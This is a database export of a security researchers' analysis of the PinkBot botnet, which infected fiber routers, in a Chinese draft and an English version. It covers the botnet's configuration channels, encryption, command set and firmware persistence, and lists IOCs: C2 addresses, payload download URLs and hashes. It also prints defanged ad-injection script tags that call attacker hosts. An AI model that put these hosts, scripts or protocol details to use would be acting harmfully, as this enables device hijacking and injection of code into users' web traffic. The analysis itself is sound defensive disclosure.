指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。\n3. 内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。\n4. 指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。\n\n这里附上一张截图供参阅，其中红框标记的就是指令字段：\n\n\n\n### 指令传输方式\n#### a) 通讯加密\n\n上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：\n\n1. 使用的密码学库为：`mbedtls`;\n2. 密钥交换阶段使用的交换算法 `ecdh`，加载曲线为 `MBEDTLS_ECP_DP_CURVE25519`;\n3. 服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：`14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D`\n4. 报文加密/解密阶段使用的算法为 `aes`, key 为密钥交换后的secret，加载参数为 `MBEDTLS_AES_ENCRYPT` 和`MBEDTLS_AES_DECRYPT`;\n5. 在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。\n\n#### b) 指令内容编码\n\n为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库[nanopb](https://github.com/nanopb/nanopb) 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。\n\n### 指令功能\nPinkBot 指令具有丰富的控制能力：\n\n> 1. 文件下载\n> 2. 系统命令执行\n> 3. DDoS攻击（HTTP攻击和 UDP 攻击）\n> 4. 扫描功能（扫描的具体内容可以通过指令设置）\n> 5. 汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）\n> 6. 自身更新（将新版本保存到 /tmp/client 后运行）\n> 7. P2P节点列表同步（直接推送一组P2P节点到Bot）\n> 8. http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）\n> 9. 启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）\n> 10. 下载文件并执行\n> 11. 停止攻击\n> 12. 重置watchdog \n\n\n## PinkBot 持久化方式\n与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。\n\n下图是被感染后新增/修改的文件列表：\n\n\n\n其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。\n\n关键文件说明：\n - /bin/protect：`md5:9ec5bd857b998e60663e88a70480b828`\n\nprotect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。\n\n - /bin/tr69c: `md5:451a3cf94191c64b5cd1be1a80be7799`\n\ntc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。\n\n\n# PinkBot 规模评估与指令跟踪\n## 规模评估\n前面提到，每个受感染的 PinkBot 都会通过 udp 123 端口以 p2p 方式来分发配置信息。利用这个特性，我们在全网范围内对 PinkBot 的感染量进行了持续评估（评估数据统计那堆表要不要列一波？）。\n\n## 指令跟踪\n\n我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。\n除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：\n\n```\n<script async src=\"http【:】//45.32.21.251/j/?$$\"></script>\n<script async src=\"http【:】//167.179.80.159/j/?$$\"></script>\n<script async src=“http【:】//114.55.124.13/j/?$$“></script>\n```\n\n# 番外：与 PinkBot 对抗的那些事儿\n\n在对 PinkBot 僵尸网络分析跟踪的过程中。我们注意到，攻击者和相关厂商进行了多次的攻防对抗。\n这一章节将简单梳理下我们了解到的与 PinkBot 攻防对抗的尝试。\n\n## 设备厂商的对抗（此章节涉及到厂商利益，慎重公开）\n\n根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。\n\n*第一次对抗*: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。\n\n*第二次对抗*：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。\n\n*第三次对抗*：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。\n\n*最后的方案*：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。\n\n*复盘总结*：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。\n\n\n## GITHUB 封相关账号\n\n我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。\n\n\n\n目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。\n\n*复盘总结*：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.\n\n# IOC\n## C&C地址\n\n通过长期跟踪，攻击者使用过的CNC地址有：\n\n```\ncnc.pinklander[.]com\n144.202.109.110:40080\n144.202.109.110:32876\n207.148.70.25:12368\n45.32.125.150:12368\n45.32.125.188:12368\n45.32.174.105:12368\n5.45.79.32:12368\n```\n\n**PS**: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。\n\n## 同步服务\n\nPinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。\n在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的`配置信息`中。\n\n```\nhttp[:]//1.198.50.63:1088/dlist.txt\nhttp[:]//1.63.19.10:19010/var/sss/dlist.txt\nhttp[:]//104.207.142.132/dlist.txt\nhttp[:]//108.61.158.59/dlist.txt\nhttp[:]//111.61.248.32:1088/dlist.txt\nhttp[:]//112.26.43.199:81/dlist.txt\nhttp[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt\nhttp[:]//117.131.10.102:1088/d/dlist.txt\nhttp[:]//123.13.215.89:8005/d/dlist.txt\nhttp[:]//125.74.208.220:81/dlist.txt\nhttp[:]//140.82.24.94/dlist.txt\nhttp[:]//140.82.30.245/d/dlist.txt\nhttp[:]//140.82.53.129/dlist.txt\nhttp[:]//144.202.38.129/dlist.txt\nhttp[:]//149.28.142.167/p/dlist.txt\nhttp[:]//149.28.142.167/p1/dlist.txt\nhttp[:]//155.138.140.245/dlist.txt\nhttp[:]//167.179.110.44/dlist.txt\nhttp[:]//173.254.204.124:81/dlist.txt\nhttp[:]//182.139.215.4:82/dlist.txt\nhttp[:]//207.148.4.202/dlist.txt\nhttp[:]//218.25.236.62:1987/d/dlist.txt\nhttp[:]//218.25.236.62:1988/d/dlist.txt\nhttp[:]//222.216.226.29:81/dlist.txt\nhttp[:]//45.32.26.220/dlist.txt\nhttp[:]//45.76.104.146/dlist.txt\nhttp[:]//45.77.165.83/p1/dlist.txt\nhttp[:]//45.77.198.232/p1/dlist.txt\nhttp[:]//45.88.42.38/p1/dlist.txt\nhttp[:]//61.149.204.230:81/dlist.txt\nhttp[:]//66.42.114.73/dlist.txt\nhttp[:]//66.42.67.148/dlist.txt\nhttp[:]//8.6.193.191/dlist.txt\nhttp[:]//95.179.238.22/dlist.txt\nhttps[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt\nhttps[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt\nhttps[:]//gitee.com/b9g/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/bg64/gy/raw/master/dlist.txt\nhttps[:]//gitee.com/bg64/xt/raw/master/dlist.txt\nhttps[:]//gitee.com/d3fg/su/raw/master/dlist.txt\nhttps[:]//gitee.com/fe354/xx/raw/master/dlist.txt\nhttps[:]//gitee.com/fh8y/i9/raw/master/dlist.txt\nhttps[:]//gitee.com/g6y/qu/raw/master/dlist.txt\nhttps[:]//gitee.com/g7u/hi/raw/master/dlist.txt\nhttps[:]//gitee.com/gb7e/sh/raw/master/dlist.txt\nhttps[:]//gitee.com/ggf2/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/hni/cfi/raw/master/dlist.txt\nhttps[:]//gitee.com/ji9/zg/raw/master/dlist.txt\nhttps[:]//gitee.com/johncase/zip/raw/master/dlist.txt\nhttps[:]//gitee.com/k9o/st/raw/master/dlist.txt\nhttps[:]//gitee.com/k9o/u8/raw/master/dlist.txt\nhttps[:]//gitee.com/mh8i/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/nick908/hello/raw/master/dlist.txt\nhttps[:]//gitee.com/nick908/sc/raw/master/dlist.txt\nhttps[:]//gitee.com/oubv/bh/raw/master/dlist.txt\nhttps[:]//gitee.com/s7y/xx/raw/master/dlist.txt\nhttps[:]//gitee.com/t9i/y7/raw/master/dlist.txt\nhttps[:]//gitee.com/u8i/fo/raw/master/dlist.txt\nhttps[:]//gitee.com/ujh5/ho/raw/master/dlist.txt\nhttps[:]//gitee.com/vd5/y8/raw/master/dlist.txt\nhttps[:]//gitee.com/vd5/y9/raw/master/dlist.txt\nhttps[:]//gitee.com/vr6/sh/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/bh/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/eg/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/lp/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/rt/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/xc/raw/master/dlist.txt\nhttps[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt\nhttps[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt\nhttps[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt\n```\n\n## MD5\n\n通过跟踪获取到的相关样本（ELF）汇总如下：\n\n```\n9ec5bd857b998e60663e88a70480b828 /bin/protect\n451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c\n06d6ad872e97e47e55f5b2777f78c1ba slient_l\n07cd100c7187e9f4c94b54ebc60c0965 slient_b\n0f25b0d54d05e58f5900c61f219341d3 client_b\n0f89e43ea433fdfd18a551f755473388 slient_l\n1197994610b2ffb60edbb5ab0c125bc0 client_b\n167364ad0d623d17332f09dbb23a980e client_b\n175b603082599838d9760b2ab264da6f slient_l\n1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l\n229503686c854bb39efdc84f05b071b9 slient_b\n25a07e3ef483672b4160aa12d67f5201 client_l\n262a4e242c9ebeba79aa018d8b38d229 client_l\n29d0afd2a244c9941976ebf2f0f6597f client_l\n2befedd020748ff6d9470afad41bd28c slient_b\n2ca5810744173889b2440e4f25b39bd4 client_l\n36e48e141943a67c6fdeaa84d7af21cc client_b\n3a620ff356686b461e0e1a12535bea24 slient_l\n41bbe8421c0a78067bae74832c375fe8 slient_l\n45ee78d11db54acfdda27c19e44c3126 client_l\n4830c3950957093dac27d4e87556721e slient_l\n484761f281cb2e64d9db963a463efca5 client_l\n48a7f2799bf452f10f960159f6a405d3 client_l\n494412638dc8d573172c1991200e1399 client_l\n4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b\n50270de8d5783bb0092bf1677b93c97b slient_l\n54aa9e716567bd0159f4751916f7f0d1 client_l\n5ae1fec20c2f720269c2dc94732187e8 slient_b\n5b62a9bd3431c2fd55283380d81c00fa client_b\n5c322610e1845d0be9ccfc8a8b6a4c4f client_l\n5c4f8dae67dad8cac141afa00847b418 slient_b\n5d0d034845bd69179bf678104c046dc1 client_b\n60658ef214c960147200d432eece3e13 slient_l\n60a2b1bb02a60ac49f7cc1b47abdf60c client_l\n610f0aadba3be1467125607bf2ba2aaf slient_l\n66a068fd860bda7950fde8673d1b5511 client_b\n6c4de9bd490841f0a6c68638f7253c65 client_b\n72c531a813b637af3ea56f288d65cdb7 slient_b\n7608b24c8dcf3cd7253dbd5390df8b1f client_b\n7645a30a92863041cf93a7d8a9bfba1a client_b\n857fc3c7630859c20d35d47899b75699 slient_b\n861af6b5a3fea01f2e95c90594c62e9d client_l\n8e86be3be36094e0f5b1a6e954dbe7c2 client_l\n8fbcd7397d451e87c60a0328efe8cd5d client_b\n987a9befb715b6346e7ad0f6ac87201f slient_b\n9eb147e3636a4bb35f0ee1540d639a1b slient_b\naa2fc46dd94cbf52aef5e66cdd066a40 client_l\nae8b519504afc52ee3aceef087647d36 slient_b\nb0202f1e8bded9c451c734e3e7f4e5d8 slient_b\nb6f91ad027ded41e2b1f5bea375c4a42 slient_b\nb9935859b3682c5023d9bcb71ee2fece slient_b\nb9d1c31f59c67289928e1bb7710ec0ba client_l\nbec2f560b7c771d7066da0bee5f2e001 client_b\nc2efa35b34f67a932a814fd4636dd7cb slient_l\nc839aff2a2680fb5676f12531fecba3b slient_b\nc94504531159b8614b95c62cca6c50c9 slient_l\ndfe0c9d36062dd3797de403a777577a6 client_b\ne19a1106030e306cc027d56f0827f5ce slient_l\nf09b45daadc872f2ac3cc6c4fe9cff90 client_b\nf5381892ea8bd7f5c5b4556b31fd4b26 client_b\nf55ad7afbe637efdaf03d4f96e432d10 slient_b\nf62d4921e3cb32e229258b4e4790b63a client_b\nf81c8227b964ddc92910890effff179b slient_b\nfc5b55e9c6a9ddef54a256cc6bda3804 client_b\nfe8e830229bda85921877f606d75e96d slient_l\nfee6f8d44275dcd2e4d7c28189c5f5be client_l\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6170d9063819e50007635909 |
post | null | 2021-10-28T02:25:26.000Z | 63873b9a8b1c1e0007f52feb | pink-en | 0 | 2021-10-29T13:02:49.000Z | public | published | null | 2021-10-29T13:02:49.000Z | Pink, a botnet that competed with the vendor to control the massive infected devices | <!--kg-card-begin: markdown--><p>Most of the following article was completed around early 2020, at that time the vendor was trying different ways to recover the massive amount of infected devices, we shared our findings with the vendor, as well as to CNCERT, and decided to not publish the blog while the vendor's working was in progress. Last week, CNCERT finally disclosed this botnet, and we have learned that the infected devices have “mostly” been taken care of, so here we are..</p>
<h1 id="overview">Overview</h1>
<p>On November 21, 2019, we got an interesting new botnet sample from the security community, the sample contained a large number of function names starting with “pink”, and we named it pink botnet.</p>
<p>Pink is the largest botnet we have first hand observed in the last six years, during peak time, it had a total infection of over 1.6 million devices (96% are located in China) Pink targets mainly mips based fiber router, and has very strong and robust architecture, it uses a combination of third-party services, P2P and central C2s for its’ bots to controller communications, and has complete verification of the C2 communications, doing this ensures that the bot nodes will not be easily cut off or taken over Pink raced with the vendor to retain control over the infected devices, while vendor made repeated attempts to fix the problem, the bot master noticed the vendor’s action also in real time, and made multiple firmware updates on the fiber routers corresponsly.</p>
<p>Pink adopts DNS-Over-HTTPS protocol, which is also not typical.</p>
<h1 id="scaleandimpact">Scale and Impact</h1>
<p>We have infection numbers from three differentness sources, they are:</p>
<ol>
<li>2019-11-30 A trusted security partner in US informed us they saw 1,962,308 unique daily active IPs from this botnet hitting them.</li>
<li>2020-01-02 CNCERT shared us the following note</li>
</ol>
<p><code>"From the data measured in multiple dimensions such as NetFlow data, active probing, and real-time monitoring, the number of Bot node IP addresses associated with this botnet exceeds 5 million. As home broadband IPs are dynamically assigned, the true size of the infected devices behind them cannot be accurately estimated, and it is presumed that the actual number of infected devices is in the millions. One of the main bases of the measurement is that the number of IPs connected to C2 in one minute was well over one million." </code></p>
<ol start="3">
<li>2020-01-08 Our (360NetLab) assessment based on continuous network-wide probing gave us the the number of 1.65 million. The infected IPs are concentrated in China (96%), spanning 33 provinces across the country. Affected carriers involve China Unicom (>80%) and China Telecom (>15%).</li>
</ol>
<h1 id="pinkarchitecture">Pink Architecture</h1>
<p>Pink is a hybrid architecture botnet that uses both "P2P" and central “C2" to communicate to its bots . In general, it delivers less time-sensitive commands (e.g. management configuration information) via P2P, while more time-sensitive commands are distributed centrally via the C2s (e.g. launching ddos attacks, inserting advertisements into HTTP websites visited by users).</p>
<h2 id="configurationinformation">Configuration information</h2>
<p>One key step for every Bot is to find the controller. The controller information is contained in the "configuration", and the following is the latest configuration we intercepted.</p>
<pre><code>{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
</code></pre>
<ol>
<li>
<p>The verify field is the timestamp when the command is issued, and the Bot will get the latest valid commands based on this timestamp.</p>
</li>
<li>
<p>The subsequent cncip and cncport fields specify the latest C2 address of the botnet, and the attacker can switch this control address easily at any time.</p>
</li>
<li>
<p>The subsequent "dlc/dl" and "dlc1/dl1" field groups are the latest Bot update addresses, where dlc and dlc1 are the corresponding content Hash check fields, and the algorithm pseudo-code is: <code>MD5(MD5( dlist_content)+SHA256(dlist_content)) </code>.</p>
</li>
<li>
<p>The "sd0/sdp0" field is the secure DNS server address. For each Bot, when a DNS resolution record needs to be queried, it will check the DNS service specified here using <code>DNS-Over-HTTPS</code>.</p>
</li>
<li>
<p>The srvk field is the public key content (base64 encoding) of the server side. For each bot, its communication with CNC is encrypted. So a unique private key has to be obtained through ECDH key negotiation before the actual communication. After specifying the public key on the CNC side here, it also completes the verification of the Bot's identity to the CNC by the way. This is an extension of the original ECDH.</p>
</li>
<li>
<p>The pxy field is presumably an option for the proxy usage. There is no sign of its being used, and it is not clear how the logic works.</p>
</li>
</ol>
<h3 id="protectionofconfigurationinformation">Protection of configuration information</h3>
<p>After reading the previous section, it is easy to see that the "configuration information" is actually the core of the botnet, which guarantees the attacker’s absolute control over the botnet.</p>
<p>To prevent others from discovering the configuration information, the configuration is encrypted. The decryption algorithm is symmetric, and the decryption code logic is as follows.</p>
<pre><code>def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
</code></pre>
<p>The bot master also signed the configuration information using ecdsa to make sure no one can mess with the message, with the following signature details.</p>
<ol>
<li>
<p>The cryptographic library used for signature verification is <code>mbedtls</code>.</p>
</li>
<li>
<p>The signature algorithm is <code>ECDSA</code>.</p>
</li>
<li>
<p>The curve used for the signature is: <code>MBEDTLS_ECP_DP_SECP192R1</code>.</p>
</li>
<li>
<p>The public key used for signature checking is: <code>04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E</code></p>
</li>
</ol>
<h3 id="distributionofconfigurationinformation">Distribution of Configuration Information</h3>
<p>In addition to ensuring the confidentiality and integrity of the configuration information, the bot master also uses several means to distribute the configuration information to ensure its availability.</p>
<h4 id="adistributionofconfigurationinformationthroughthirdpartyservices">a) Distribution of configuration information through third-party services</h4>
<p><em>1. Distribution of configuration information via BTC+GITHUB</em></p>
<p>The core of this distribution channel is a project hidden on GITHUB, the most recently seen project is (mypolo111/vfg), and you can see two lines in the README of this project.</p>
<img src="__GHOST_URL__/content/images/2019/11/pink_readme.png" width="860px" />
<p>Where the pattern is <code>P!!! <base64>I!!!</code> line is the configuration signature and the schema is <code>N!!! <base64>K!!!</code> line is the ciphertext of the configuration information.</p>
<p>However, for each Bot, trying to find this hidden item is a multiple steps process:</p>
<p>Step 1: A topic tag was first generated from the transfer record of a fixed BTC wallet [1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF], (after reversing the sample, I reverted the process as shown below, the query of the BTC wallet uses four web services, and the specific addresses are also shown in the figure).</p>
<img src="__GHOST_URL__/content/images/2019/11/image.png" width="860px" />
<p>Step 2: For each of the possible topic tags, there are many related github projects. Going through the ISSUES of these projects and looking for a file with the format <code>...!<base64>...?</code> String,when a match is located, restoring the base64 will give you the address (for example, the most recent one we found is <code>...!L215cG9sbzExMS92Zmc=...?</code> By restoring this base64, the address of the hidden item is <code>mypolo111/vfg</code>)</p>
<p>Step 3: Searching GITHUB Topics and ISSUES to find the hidden GIT project.</p>
<p>PS: <code>mypolo111</code> has submitted ISSUES in several projects, the relevant<br>
screenshots are shown below.</p>
<img src="__GHOST_URL__/content/images/2019/11/mypolo111_issues.png" width="860px" />
<p>Important note here: With these set of addressing logic above, the bot master can easily switch the real GITHUB project address by adding transaction records to a specific BTC wallet. In such a case, the specified BTC wallet must be blocked in order to disrupt the GITHUB-based distribution logic of the botnet, or else the defender would just be playing whack a mole.</p>
<p><em>2. Distribution of configuration information through a Chinese website</em></p>
<p>In a few samples, the bot master also distributed configuration information via a website in China, using similar logic to that of GITHUB distribution.</p>
<h4 id="bdistributionofconfigurationinformationviap2p">b) Distribution of configuration information via P2P</h4>
<p>Two methods are supported here:</p>
<ol>
<li>P2P-Over-UDP123 distribution</li>
</ol>
<p>For this method, when the bot starts, it will listen to the UDP-123 port, which is originally the default port of NTP service, doing this might trick some users to think this is just a normal NTP service and nothing needs to be looked here. Then it will launch a Peer probe request to four B-segment addresses on the public network (<code>"114.25.0.0/16"</code>, <code>"36.227.0.0/16"</code>, <code>"59.115.0.0/16"</code>, <code>"1.224.0.0/16"</code>) with the content <code>1C 00 00 00</code>.</p>
<ul>
<li>When the target is a real NTP server it will respond with NTP time, while if the target is a bot node, two possible responses are expected.</li>
<li>If the target Bot does not have the c2 information it will respond with <code>1D 00 00 00</code></li>
<li>When the target Bot has already gotten the C2 information, it replies with the signature of the C2 information and the corresponding cipher text, and before sending, 0xE3 will be added to the message header.</li>
</ul>
<p>The following figure shows the recently captured configuration information via UDP-123.</p>
<img src="__GHOST_URL__/content/images/2020/03/UDP-123-hexdata.png" width="860px" />
<h4 id="cdistributionofconfigurationinformationviac2">c) Distribution of configuration information via C2</h4>
<p>The attacker has a domain name cnc.pinklander.com built into some of the samples. When the domain name is enabled, a web page is displayed with the same content as the GITHUB project. It is also the base64 encoded configuration information.</p>
<h2 id="pinkbotcommand">PinkBot Command</h2>
<h4 id="commandformat">Command Format</h4>
<p>Each command contains at least 7 bytes, and the meaning is as follows.</p>
<ol>
<li>Token field, 4 bytes long, the value of this field is specified by the server and will be used all the time after it is specified. When the server side accepts it, it will assign a Token value to the Bot, which is considered successful.</li>
<li>Command field, length 1 byte, after C2 sends out the command, Bot should return the execution result with the same command code.</li>
<li>Content length field, 2 bytes in length. When the instruction does not contain specific content, it is set to zero, otherwise it is filled with the number of bytes of content length and appended with the cipher content.</li>
<li>Instruction. When the instruction contains content, this field is filled with the instruction content of the cipher text. See below for decryption method.</li>
</ol>
<p>Here is a screenshot for reference, where the instruction field is marked in red.</p>
<img src="__GHOST_URL__/content/images/2020/03/Snip20191130_9.png" width="860px" />
<h3 id="instructioncommunications">Instruction communications</h3>
<h4 id="aencryption">a) Encryption</h4>
<p>The cncip1 and cncport1 in the above configuration information are the actual C2 nodes used by the attacker. The communication details are as follows.</p>
<ol>
<li>The cryptographic library used is: <code>mbedtls</code>;</li>
<li>The exchange algorithm used in the key exchange phase is ecdh, and the loading curve is <code>MBEDTLS_ECP_DP_CURVE25519</code>;</li>
<li>The server-side ECDH public key is hard-coded in the samples in the early stages of development , and later on, it is changed to be specified in the configuration information. However, the content has not changed so far: <code>14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D</code></li>
<li>The algorithm used in the encryption/decryption phase of the message is<br>
AES, the key is the secret after key exchange, and the loading parameters are <code>MBEDTLS_AES_ENCRYPT</code> and <code>MBEDTLS_AES_DECRYPT</code>;</li>
<li>For ECDH, generally the public and private keys of both parties are regenerated every time. In Pink, however, only the Bot side is required to be different each time, while the server side specifies a fixed pair of public-private keys. This built-in server-side public key is equivalent to giving the Bot the ability to authenticate the CNC, thus eliminating the possibility of man-in-the-middle attacks.</li>
</ol>
<h4 id="binstructioncontent">b) Instruction Content</h4>
<p>In order to adapt to the different distribution of byte sequences in mipsb/mipsl models at the same time, the transmitted content is transformed by the open source library nanopb, which can abstract the serialization and deserialization process by agreeing on a template, thereby ignoring the interference of big/little endian memory.</p>
<h3 id="theinstructions">The instructions</h3>
<p>The Pink instruction has a rich set of controls.</p>
<blockquote>
<ol>
<li>File download</li>
<li>System command execution</li>
<li>DDoS attacks (HTTP attacks and UDP attacks)</li>
<li>Scan(the specifics of the scan can be set by the command)</li>
<li>Report device information (CPU / system type / memory information / system version / hardware information)</li>
<li>Self-update (save new version to /tmp/client and then run)</li>
<li>P2P node list synchronization (push a set of P2P nodes directly to the Bot)</li>
<li>Http message injection (on the victim device, advertising js scripts will be injected when traffic type is http)</li>
<li>Sock5 proxy service (set up Socks5 proxy service on Bot side, account password set by command)</li>
<li>Download the file and execute</li>
<li>Stop the attack</li>
<li>Reset watchdog</li>
</ol>
</blockquote>
<h2 id="pinkbotpersistencemethod">PinkBot persistence method</h2>
<p>Unlike other the botnets we commonly see, Pink will flash the original firmware of the fiber router after infecting it in order to maintain absolute controls. In the rewritten firmware, PinkBot's downloader c2 and the supporting bootloader are included.</p>
<p>The following figure shows the list of files added/modified by Pink.</p>
<img src="__GHOST_URL__/content/images/2020/03/pink_flash_tree_diff.png" width="860px" />
<p>The tmp directory can be ignored, as it contains temporary files generated when the sample runs.</p>
<p>Key file descriptions.</p>
<ul>
<li>/bin/protect: <code>md5:9ec5bd857b998e60663e88a70480b828</code></li>
</ul>
<p>The protect file is actually more like a downloader, in the sample you can see codes that support above-mentioned 5 methods to get configuration information. The main function is to get the latest samples from the configuration information and start them up.</p>
<ul>
<li>/bin/tr69c: <code>md5:451a3cf94191c64b5cd1be1a80be7799</code></li>
</ul>
<p>The tc69c file is a patch version of tr69c of the original firmware of the fiber router. It removes the update function from the firmware, which basically makes it impossible to update the firmware through tr69c.</p>
<h2 id="commandtracking">Command Tracking</h2>
<p>We simulated PinkBot node to receive commands distributed by the C2 in real time. In addition to the daily maintenance-type instructions (heartbeat instructions/peerlist synchronization instructions), we also received several instructions to insert advertisements to WEB pages, such as:</p>
<pre><code><script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
</code></pre>
<p>We have noticed that the configuration information for pink changes intermittently, mainly in the CNC and DL* fields, and it has stabilized in recent months. Below is the latest configuration information we captured on 2021/10/5 (BST).</p>
<pre><code>{
"verify":"1611936001",
"cncip1":"140.82.40.29",
"cncport1":"26007",
"dlc":"450aa79da035a8a55ca4c0e6b1025b50",
"dl":"http://209.250.247.60/dlist.txt",
"dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
"dl1":"https://****.com/****/dlist.txt",
"sd0":"1.1.1.1",
"sdp0":"443",
"srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy":"1"
}
</code></pre>
<h2 id="currentsize">Current Size</h2>
<p>As mentioned earlier, Pink uses P2P to distribute non-real-time command information. Using this feature, we were able to evaluate the number of PinkBot infections on a global basis. The major vendor has been exploring all possible methods to eliminate infected devices and the infection number has dropped significantly. While at the same time, there are still a good amount of infected units out there, on 2021/10/20, we still see 103024 daily active IPs.</p>
<h2 id="ddosattacks">DDoS attacks</h2>
